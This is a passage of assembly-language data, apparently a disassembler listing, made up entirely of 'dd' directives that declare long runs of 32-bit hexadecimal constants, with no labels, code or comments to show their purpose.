		dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h
		dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah
		dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h
		dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh
		dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh
		dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh
		dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h,	510203C4h
		dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh,	0F8E76783h
		dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h,	1982BCEh
		dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h
		dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h,	8C5F3FB8h
		dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh
		dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh
		dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h
		dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh
		dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h
		dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh
		dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h,	27230054h
		dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h
		dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h
		dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh,	0C89C074Dh
		dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h,	32205F74h
		dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h
		dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h
		dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch
		dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h
		dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah
		dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h
		dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh
		dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h
		dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh
		dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h
		dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h,	40CF8B7Bh
		dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h
		dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah,	0F0F87CE0h
		dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h
		dd 167F425h, 2F2DC55Fh,	0F59E8351h, 6688F405h, 53153707h
		dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h,	365D3857h
		dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah,	21565762h
		dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh
		dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah
		dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h
		dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h,	2CA92300h
		dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h,	0E0185E00h
		dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh
		dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h,	0BF06CAB6h
		dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h
		dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h
		dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah
		dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh,	6A00F277h
		dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh
		dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h
		dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h
		dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h
		dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h,	2413CE5Eh
		dd 0AD6C7Ch, 59A94E82h,	0A20E9048h, 40A14434h, 2058B9A4h
		dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h
		dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h
		dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh
		dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh
		dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh
		dd 1C5DCAFAh, 3E9E055h,	0A468D900h, 81D4B785h, 0C4900029h
		dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h,	0C4AD0064h
		dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch
		dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h
		dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h
		dd 744C8EEh, 23E2475Ch,	9D13604Ch, 0E54C49E4h, 0B2F1E4Eh
		dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h,	60318925h
		dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h
		dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h
		dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h
		dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah
		dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h
		dd 0DC25E1Fh, 0D60401C6h
		dd 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h,	8E41D0C0h
		dd 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h, 9FB35D2h
		dd 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h,	158D13h
		dd 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh, 89D838FEh
		dd 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h, 7A706014h
		dd 0C0A00380h, 910129E0h, 44022290h, 89040300h,	18251505h
		dd 310E214h, 84820636h,	0A9309E2h, 0CB30BA3h, 0ED30DC3h
		dd 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh, 5780882Eh
		dd 44A3900h, 53063572h,	0A09DF8BEh, 188A00B8h, 5C882840h
		dd 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh, 0E04FFFE7h
		dd 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h, 9A0FD273h
		dd 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h,	9125CF37h
		dd 0B9803E0Ch, 896182h,	0B5595E3Eh, 32DC1F6Ah, 7FC0AD1Fh
		dd 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h, 29000525h
		dd 2402D6F8h, 0C82D66h,	505553B4h, 22579856h, 0F00FB901h
		dd 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh
		dd 0F4EE3B13h, 5E76F0h,	5A8FD15h, 8C5C8B38h, 4CFC831Ch
		dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h,	0F7282474h
		dd 7440698h, 62336815h,	0C71CD0FFh, 17CC849h, 890080ECh
		dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h
		dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h
		dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh
		dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
		dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h,	0BB661007h
		dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
		dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
		dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h,	26985B98h
		dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh,	26807EB4h
		dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
		dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h,	0FAC89741h
		dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
		dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
		dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh,	7334F900h
		dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h,	5CA65AC0h
		dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
		dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
		dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
		dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h,	896F00FAh
		dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
		dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h
		dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h
		dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h
		dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h
		dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h
		dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h
		dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh
		dd 25013C0h, 527E5411h,	5295800h, 0C4860CDh, 0FAA6005Ch
		dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h,	8D29C8D9h
		dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh,	136BB28h
		dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h
		dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h
		dd 0D200F35h, 2C35943h,	6D316C62h, 8840098Dh, 15017310h
		dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h
		dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h
		dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h
		dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh
		dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh,	7B2738Ch
		dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah,	0A4003B29h
		dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h
		dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh,	0C005DAFDh
		dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch,	0E0587D6Eh
		dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h
		dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh
		dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh
		dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h
		dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h
		dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h
		dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h
		dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h,	0C1A9C14h
		dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh
		dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h
		dd 80C092DAh, 0F4887Ah,	0D741529Ah, 0CA03140Bh,	89770600h
		dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch
		dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h,	44FD6Fh
		dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh
		dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh
		dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h
		dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h
		dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h
		dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah
		dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh
		dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h
		dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h,	2BD00024h
		dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h
		dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h,	0F286Eh
		dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h
		dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h,	0CB47C370h
		dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h,	27E75AFDh
		dd 0D190C3h, 406A8726h,	1E100668h, 84E3F900h, 2C1F62BAh
		dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh,	0A8178044h
		dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h
		dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h
		dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h
		dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh
		dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh
		dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh,	0FCF80FDh
		dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h
		dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh,	0FA18D2CBh
		dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h
		dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h
		dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h
		dd 387225Ah, 56824C75h,	539B425Bh, 724D45A8h, 18DB7F00h
		dd 24945A48h, 55890112h
		dd 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh, 6BC572h
		dd 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h, 800203h
		dd 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h, 4A9300D4h
		dd 4C35B20h, 48000D7Bh,	0DB2A5E52h, 17A95AAh, 6F1CA5A3h
		dd 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h, 4DFF0C05h
		dd 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh, 9CEC0E9h
		dd 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h, 0EE8031CBh
		dd 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h,	5C8500F6h
		dd 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h, 29E5F810h
		dd 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h, 3CE702F0h
		dd 0B10FC458h, 8280A605h, 87453D80h, 6F936400h,	6D37803h
		dd 20050055h, 2608A11Bh, 44006209h, 9811B34Ch, 7E750664h
		dd 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h, 0AC2EDC8Ah
		dd 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h,	7AD95F7h
		dd 804893D8h, 875C05Dh,	141FCCD3h, 6C02CA3h, 18F7C62Dh
		dd 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h
		dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h
		dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh
		dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h,	734B7705h
		dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h
		dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h
		dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h
		dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh,	0F2C1997Fh
		dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh
		dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh,	0CAFF50D3h
		dd 0DF7126h, 33CD9214h,	474F5455h, 6843EC0Fh, 27A0008Ch
		dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
		dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
		dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h,	0DB642ED6h
		dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
		dd 7600F6F8h, 199BB82h,	7A75251Ch, 4B0A0F42h, 0C200A7D4h
		dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h,	1AD6482Fh
		dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h,	4142ABh
		dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
		dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
		dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h,	0BE927D33h
		dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h,	749C53E9h
		dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
		dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh,	0C951CE80h
		dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
		dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
		dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h,	0B0279943h
		dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh,	0C183BE5Ah
		dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
		dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
		dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h,	0EB15FF60h
		dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
		dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h,	287C0A6Ah
		dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
		dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah,	458A006Ah
		dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
		dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
		dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h,	7DA91A7Ch
		dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
		dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh,	5700D102h
		dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
		dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh,	9C2C39h
		dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
		dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
		dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
		dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h,	52450F1Bh
		dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
		dd 1AEE224h, 308298E9h,	0C83A41B0h, 4799B0Dh, 407F7700h
		dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
		dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
		dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
		dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h,	0F8347B59h
		dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
		dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h,	65F27Eh
		dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
		dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
		dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h,	0C82CB5h
		dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
		dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h,	6F9B014Ah
		dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
		dd 64F7600h, 41B10CBCh,	61FC6400h, 65633B6Eh, 19200029h
		dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
		dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
		dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
		dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
		dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch,	99D7841Dh
		dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
		dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
		dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
		dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h,	8FEED912h
		dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
		dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
		dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
		dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
		dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h,	94F7FA3h
		dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
		dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
		dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
		dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
		dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
		dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
		dd 3047D83h, 5570C09Bh,	0D0E70EC8h, 12BC62B8h, 0CAD95200h
		dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h,	0F601AF27h
		dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
		dd 38840800h, 2761012h,	56E90009h, 33557EA5h, 6E1C8B78h
		dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
		dd 18EC0C99h, 12A95A8h,	0AC0E495Fh, 0D8727D81h,	0FD007F63h
		dd 480FDF05h
		dd 2EA4BF17h, 70A42E5h,	30EB3014h, 8CB8E88Ah, 9C472C3Fh
		dd 9BC03BE6h, 66AB55Fh,	0C455008Bh, 24A7FA5Ah, 787BF1E9h
		dd 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h, 1A8C2114h
		dd 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h, 0C76ABDE8h
		dd 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h,	7C3BCCB8h
		dd 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh, 0A0A30109h
		dd 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h,	429800E0h
		dd 10F9C0Eh, 8C0135D8h,	0DEBA8BB6h, 0CC8F85F9h,	33C076E4h
		dd 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h, 944E6F80h
		dd 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h, 740F00DBh
		dd 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh, 0C2750033h
		dd 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h, 9183D80Ch
		dd 4B0A5B6Bh, 4CB8490h,	1941CA00h, 8345A0EAh, 0B4B80A62h
		dd 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h
		dd 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h
		dd 18890235h, 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch
		dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch
		dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h
		dd 94BC2441h, 0F61E3Ah,	8B28BB3Ah, 48010537h, 2C438319h
		dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah,	7B80DE02h
		dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh,	0F84E8D6Dh
		dd 6C0394Ah, 7705F980h,	49FAFC51h, 1904DAFAh, 1708B710h
		dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh,	7A1CC72Bh
		dd 6E407980h, 1081322h,	88191D90h, 1E101D02h, 3E071E04h
		dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh,	73E43h
		dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h,	842E00BCh
		dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h
		dd 48F38918h, 8009939h,	0C8C111ADh, 8E00D509h, 14550E9h
		dd 0FA1833FDh, 25F822h,	367B8D05h, 0EB1354BEh, 5C9DA30Fh
		dd 17E980C3h, 14801ABh,	425E8414h, 0EDE4F2B4h, 5CBCE488h
		dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh,	3E548602h
		dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch
		dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h,	93208BF1h
		dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh
		dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h
		dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h
		dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch,	4409000Eh
		dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h
		dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h
		dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h
		dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h,	264B22BCh
		dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h
		dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h
